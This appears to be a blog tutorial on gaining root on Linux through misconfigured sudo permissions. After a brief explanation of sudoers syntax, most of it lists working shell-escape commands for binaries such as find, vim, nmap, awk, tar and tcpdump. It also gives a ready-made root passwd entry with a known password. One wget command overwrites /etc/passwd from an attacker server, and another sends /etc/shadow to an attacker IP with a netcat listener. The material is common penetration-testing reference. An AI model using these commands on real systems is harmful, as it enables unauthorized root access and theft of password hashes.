Linux Privilege Escalation with SUDO Rights

If you have a limited shell that has access to some programs using the command sudo you might be able to escalate your privileges. here I show some of the binary which helps you to escalate privilege using the sudo command.

But before Privilege Escalation let’s understand some sudoer file syntax and what is sudo command is?

Index

1. What is SUDO?
2. Sudoer File Syntax.
3. Exploiting SUDO user
   • /usr/bin/find
   • /usr/bin/nano
   • /usr/bin/vim
   • /usr/bin/man
   • /usr/bin/awk
   • /usr/bin/less
   • /usr/bin/nmap ( –interactive and –script method)
   • /bin/more
   • /usr/bin/wget
   • /usr/sbin/apache2
   • tcpdump

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What is SUDO ??

The SUDO(Substitute User and Do) command, allows users to delegate privileges resources proceeding activity logging. In other words, users can execute command under root ( or other users) using their own passwords instead of root’s one or without password depending upon sudoers setting The rules considering the decision making about granting access, we can find in /etc/sudoers file.

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Sudoer File Syntax.

root ALL=(ALL) ALL

Explain 1: The root user can execute from ALL terminals, acting as ALL (any) users, and run ALL (any) command.

The first part is the user, the second is the terminal from where the user can use the sudocommand, the third part is which users he may act as, and the last one is which commands he may run when using.sudo

nik ALL= /sbin/poweroff

Explain 2: The above command makes the user Nik can from any terminal, run the command power off using Nik’s user password.

nik ALL = (root) NOPASSWD: /usr/bin/find

Explain 3:  The above command, make the user Nik can from any terminal, run the command find as root user without a password.

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Exploiting SUDO Users.

To Exploiting sudo user u need to find which command u have to allow.
sudo -l

The above command shows which command have allowed to the current user.

Here sudo -l, Shows the user has all this binary allowed to do as on root user without a password.

Let’s take a look at all binary one by one (which is mention in the index only) and Escalate Privilege to root user.

also try

sudo strace -o/dev/null /bin/bash

Using Find Command

sudo find /etc/passwd -exec /bin/sh \;

or

sudo find /bin -name nano -exec /bin/sh \;

Using Vim Command

sudo vim -c '!sh'

Using Nmap Command

Old way.

sudo nmap --interactive
nmap> !sh
sh-4.1#

Note: Nmap –an interactive option not available in the latest Nmap.

Latest Way without –interactive

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

Using Man Command

sudo man man

after that press !sh and hit enter

Using Less/More Command

sudo less /etc/hosts

sudo more /etc/hosts

after that press !sh and hit enter

Using awk Command

 sudo awk 'BEGIN {system("/bin/sh")}'

Using nano Command

nano is text editor using this editor u can modify passwd file and add a user in passwd file as root privilege after that u need to switch user. Add this line in /etc/passwd to order to add the user as root privilege.

Nik:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash

sudo nano  /etc/passwd

now switch user password is: test

su nik

Using wget Command

this very cool way which requires a Web Server to download a file. This way I never saw on anywhere. lets explain this.

On Attacker Side.

• First Copy Target’s /etc/passwd file to the attacker machine.
• modify a file and add a user in passwd file which is saved in the previous step to the attacker machine.
• append this line only =>  Nik:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash
• host that passwd file to using any web server.

On Victim Side.

sudo wget http://192.168.56.1:8080/passwd -O /etc/passwd

now switch user password is: test

su nik

Note: if u want to dump file from a server like a root’s ssh key, Shadow file etc.

sudo wget --post-file=/etc/shadow 192.168.56.1:8080

Setup Listener on attacker: nc –lvp 8080

Using apache Command

sadly u cant get Shell and Cant edit system files.

but using this u can view system files.

sudo apache2 -f /etc/shadow

The output is like this :

Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:17298:0:99999:7:::', perhaps misspelled or defined by a module not included in the server configuration

Sadly no Shell. But you manage to extract root hash now Crack hash in your machine. For Shadow Cracking click here for more.

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——————————Additional Commands———————–

Using mount command

sudo mount -o bind /bin/bash /bin/mount
sudo mount

Using zip command

$ sudo zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

Using tar command

$ sudo tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash

Using strace command

$ sudo strace -o/dev/null /bin/bash

Using tcpdump command

$ echo $’id\ncat /etc/shadow’ > /tmp/.shell
$ chmod +x /tmp/.shell
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.shell-Z root

Using nmap command

$ echo "os.execute('/bin/sh')" > /tmp/shell.nse 
$ sudo nmap --script=/tmp/shell.nse

Using scp command

$ sudo scp -S /path/yourscript x y

Using except command

$ sudo except spawn sh then sh

Using nano command

$ sudo nano -S /bin/bash

type your command and hit CTRL+T 

Using git command

$ sudo git help status

type:  !/bin/bash

Using gdb/ftp command

$ sudo ftp

type :  !/bin/sh

References: —

• https://recipeforroot.com/abusing-sudo/
• https://github.com/TH3xACE/SUDO_KILLER — good reference to read
• https://github.com/0x00-0x00/FakePip — cool method
• https://touhidshaikh.com/blog/?p=790 credit goes to this guy for this blog!

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I posted some if you know any other please comment and share knowledge with other Happy HAcking.

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